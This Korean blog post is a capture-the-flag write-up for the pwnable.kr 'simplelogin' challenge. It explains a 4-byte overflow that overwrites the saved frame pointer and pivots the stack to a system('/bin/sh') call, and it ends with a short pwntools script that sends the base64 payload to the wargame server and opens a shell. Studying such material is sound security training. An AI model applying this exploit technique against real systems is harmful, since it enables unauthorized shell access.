hOwDayS 선린 10720

pwnable.kr simplelogin 본문

공부/pwnable.kr

pwnable.kr simplelogin

hOwDayS 2018. 1. 20. 17:36

사용자에게 입력을 받은 후 

입력받은 값을 base64로 디코딩한다. -> 입력하고자하는 값은 base64로 인코딩을 하여 값을 넣어야됨

base64로 디코딩한것을 input에 저장한다

auth함수로 가서 참일 경우에

correct함수를 실행시킨다


auth함수

해시를 계산하여 출력한 후 f87..34까지 비교한다

하지만 똑같은 값을 입력해도 계속 값이 바뀐다. -> strcmp문을 충족하게 만들기 어려움


correct 함수

input값과 = deadbeef 값이 같을때 실행한다 하지만 우리는 auth함수을 충족하기 어려우므로 correct함수를 실행할 수 없다


하지만 gdb로 분석을 하는 중 leave에서 특이한 점이 걸렸다

(입력값은 AAABBBBCCCC를 base64로 인코딩한  QUFBQUJCQkJDQ0ND 를입력했다)


leave에서 ebp를 보면 마지막 4바이트인 CCCC를 볼 수 있다.


leave의 구조는


leave

{

mov esp , ebp

pop ebp

}


이므로  QUFBQUJCQkJDQ0ND (AAAABBBBCCCC) 를 입력할 경우에는 오류가 뜬다


우리는 여기서 공격루트를 생각할 수 있다


input에다가 사진 처럼 입력해보자


1. leave에서 ebp는 input address가 들어간다

2. leave에서 pop ebp를 실행시키면 esp가 system("/bin/sh")로 가게 된다.


최종적으로 ret를 실행하게 되면서 쉘을 따낸다.


(shell 주소 = correct 함수에서 쉘실행시키는 부분  input주소 = bss 영역)

login.py


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= remote('pwnable.kr',9003)
 
payload = ''
 
shell = 0x08049284
input_addr = 0x0811EB40
 
payload = ("A" * 4 + p32(shell) + p32(input_addr)).encode('base64')
print ("PAYLOAD : " + str(payload))
 
s.recv()
s.send(payload)
s.interactive()
 
cs


'공부 > pwnable.kr' 카테고리의 다른 글

pwnable.kr tiny_easy  (0) 2018.01.23
pwnable.kr otp  (0) 2018.01.20
pwnable.kr brainfuck  (2) 2018.01.20
pwnable asm  (0) 2018.01.12
pwnable uaf  (0) 2018.01.11
Comments